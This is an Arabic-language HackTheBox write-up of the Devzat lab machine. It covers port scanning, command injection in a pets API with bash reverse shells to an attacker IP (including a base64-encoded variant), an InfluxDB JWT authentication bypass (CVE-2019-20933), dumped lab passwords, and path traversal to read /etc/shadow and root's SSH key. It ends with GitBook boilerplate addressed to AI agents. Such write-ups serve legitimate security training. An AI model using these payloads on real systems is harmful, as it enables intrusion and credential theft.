> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md). # شرح Devzat HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * استكشاف الدلائل * حقن الويب (RCE) * استغلال InfluxDB ‏(CVE-2019-20933) * استغلال أمر ‎/file في دردشة Devzat (تصعيد الصلاحيات) {% endhint %} ## الاستطلاع: **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** باستخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80.8000)

فحص إصدارات المنافذ باستخدام Nmap: استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

### المنفذ 80

باستخدام `whatweb`، نجد بريدًا إلكترونيًا مرتبطًا بالموقع: `patrick@devzat.htb`.

كما يطلعنا التطبيق أيضًا على أنه يمكننا استخدام المنفذ 8000 للاتصال عبر SSH إلى "chat": ```bash ssh -l [username] devzat.htb -p 8000 ```

### المنفذ 8000: نحاول الاتصال، لكن تحدث مشكلة لأن مفتاح SSH مطلوب: ```bash ssh -l jordan devzat.htb -p 8000 ```

**فرض استخدام SSH-RSA مؤقتًا:** نحدد نوع مفتاح SSH المراد استخدامه لهذه الجلسة بالخيار التالي: ```bash ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ```

### **مشروع Devzat (دردشة SSH):** {% hint style="info" %} Devzat هو خادم SSH مخصص يتصل بدردشة بدلًا من سطر أوامر. وبما أن تطبيقات SSH متوفرة على جميع المنصات (بما فيها الهواتف)، يمكنك الاتصال بـ Devzat من أي جهاز. {% endhint %} إليك قائمة بالأوامر التي يمكن تنفيذها في هذه الدردشة:

### استكشاف **الدلائل:** نستخدم `gobuster` لسرد الدلائل على الموقع: ```bash gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` لم يتم العثور على نتائج مثيرة للاهتمام.

### **استكشاف النطاقات الفرعية** نبحث عن النطاقات الفرعية باستخدام `gobuster`: ```bash gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302" ``` نكتشف `pets.devzat.htb` النطاق الفرعي ونضيفه إلى `/etc/hosts` الملف.

## **الثغرة (RCE) بصيغة JSON:**

لدينا إمكانية إضافة "pets" مع أنواعها، مما يتيح حقن JSON.

نعترض الطلبات باستخدام Burp Suite ونحاول التلاعب بالطلب عبر إضافة إدخال باسم ونوع:

يتم تفسير هذا الإدخال، مما يسمح بالحقن. ```json { "الاسم": "jordan", "النوع": "jordan" } ```

نستمع إلى حزم ICMP لمراقبة الاتصالات واختبار حقن الأوامر: ```bash sudo tcpdump -i tun0 icmp ``` نتلقى رد ping، ما يؤكد إمكانية تنفيذ الأوامر عن بُعد.

ثم نرسل طلبًا مع `curl` إلى خادم Python الخاص بنا ونستقبل أيضًا طلبًا، مما يؤكد وجود ثغرة تنفيذ تعليمات برمجية عن بُعد. ```bash { "الاسم": "jordan", "النوع": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\"" } ```

### شل عكسي نحاول إنشاء شيل عكسي: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261" ``` لكن يحدث خطأ في الإخراج.

**حل الخطأ (reverse shell):** لحل هذا الخطأ، ننشئ ملف HTML يحتوي على الشيل العكسي، ثم نُشفّره بصيغة base64: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.12/443 0>&1 ``` نحوّل هذا الملف إلى base64: ```bash base64 -w 0 index.html ```

في الاستعلام، ننفذ echo للنص المشفّر base64 ثم نفك التشفير قبل تشغيل الشيل: {% code overflow="wrap" %} ```bash { "الاسم": "jordan", "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash" } ``` {% endcode %} مرة أخرى، نستمع إلى المنفذ 443 ونحصل على شيل عكسي.

#### **التعامل مع الطرفية:** لتثبيت جلستنا، نستخدم الأوامر التالية: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## تصعيد الامتيازات نلاحظ الحاجة إلى صلاحيات أعلى. نحتاج إلى التبديل للوصول إلى حساب `catherine` المستخدم.

#### تحديد المنفذ المفتوح أولًا، نلاحظ المنافذ المفتوحة داخليًا باستخدام الأمر التالي: ```bash netstat -nltp ``` المنافذ المفتوحة هي: * 8086 * 8443 * 5000

### تحويل المنافذ (SSH) نعيد توجيه المنافذ الداخلية إلى جهاز الهجوم الخاص بنا باستخدام المفتاح الخاص بالمستخدم وتطبيق الأذونات الصحيحة: ```bash chmod 600 id_rsa ```

```bash sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa ``` ثم نستخدم `nmap` لفحص المنافذ المعاد توجيهها: ```bash nmap -sCV -p5000,8443,8086 localhost -oN targeted ``` ### المنفذ 5000:

نلاحظ أن هذا المنفذ مرتبط بالخدمة نفسها الموجودة على المنفذ 8000، ولا يمنحنا مسار استغلال إضافيًا.

### **المنفذ 8086 (InfluxDB)** الخدمة على المنفذ 8086 هي InfluxDB، الإصدار 1.7.5. نحدد ثغرة NCE ‏(تنفيذ تعليمات برمجية عن بُعد) في InfluxDB:

**الثغرة:** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933) {% embed url="" %} {% hint style="info" %} تسمح هذه الثغرة بتجاوز المصادقة باستخدام رمز JWT حيث يكون `SharedSecret` فارغًا (أي secret مشترك)، مما يمنحنا الوصول إلى قاعدة البيانات. {% endhint %}

#### الوصول إلى قاعدة البيانات بعد الاتصال بـ InfluxDB، نسرد قواعد البيانات المتاحة: ```sql SHOW DATABASES; ``` نختار `devzat` قاعدة البيانات ونستكشف بيانات المستخدمين. نبدأ بسرد "القياسات" (الجداول): ```sql SHOW MEASUREMENTS; ``` الـ **`المستخدم`** يحتوي الجدول على معلومات مفيدة. لاستكشاف أعمدة هذه القياس، ننفذ: ```sql SHOW FIELD KEYS FROM "user"; ``` ثم نعرض أول 10 نتائج لـ `المستخدم` الجدول: ```sql SELECT * FROM "user" LIMIT 10; ```


كلمة المرور	اسم المستخدم
WillyWonka2021	wilhelm
woBeeYareedahc7Oogeephies7Aiseci	catherine
RoyalQueenBee$	charles

كلمة مرور المستخدم catherine هي **`woBeeYareedahc7Oogeephies7Aiseci`**، مما يتيح لنا استعادة **العَلَم** مستخدم. ### الراية user.txt :) نجحنا في الحصول على الوصول والتحول إلى `catherine`.

### المنفذ 8443 (Devzat - الإنتاج) المنفذ 8443 مخصص لنسخة إنتاجية من Devzat. نلاحظ أن معلمة `الملف` تعرض جميع الملفات في النظام كجذر. ومع ذلك، فإن الوصول إلى هذه الميزة محمي بكلمة مرور.

نحاول استخدام كلمة مرور catherine، لكنها تفشل. نحتاج الآن إلى البحث عن الملفات التي يمكن لـ catherine قراءتها على النظام.

### البحث عن الملفات التي يمكن لـ Catherine الوصول إليها نستخدم الأمر التالي للبحث عن جميع الملفات القابلة للقراءة بواسطة catherine: ```bash find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc" ``` نعثر على ملفي `.zip` نسخ احتياطية: * `/var/backups/devzat-main.zip` * `/var/backups/devzat-dev.zip` نقوم بتنزيل ملف `devzat-dev.zip` ملف النسخة الاحتياطية ونفلتر محتواه بحثًا عن كلمات المرور. نجد كلمة مرور مفيدة: **`CeilingCatStillAThingIn2021?`**.

ثم نحاول استخدام كلمة المرور هذه للوصول إلى `/etc/shadow` الملف عبر `الملف` المعلمة: ```bash /file /etc/shadows CeilingCatStillAThingIn2021? ``` على الرغم من أن كلمة المرور صحيحة، إلا أن **المسار المتقاطع** مطلوب للحصول على وصول كامل. نستخدم الأمر التالي للتنقل في نظام الملفات:

```bash /file ../../../../etc/shadow CeilingCatStillAThingIn2021? ``` ننجح في عرض `/etc/shadow` الملف كجذر.

### الوصول عبر SSH كجذر أخيرًا، نستخدم مسارًا متقاطعًا إضافيًا للوصول إلى مفتاح SSH الخاص بالجذر: ```bash /file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021? ```

نقوم بتنزيل مفتاح SSH والاتصال كجذر.

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.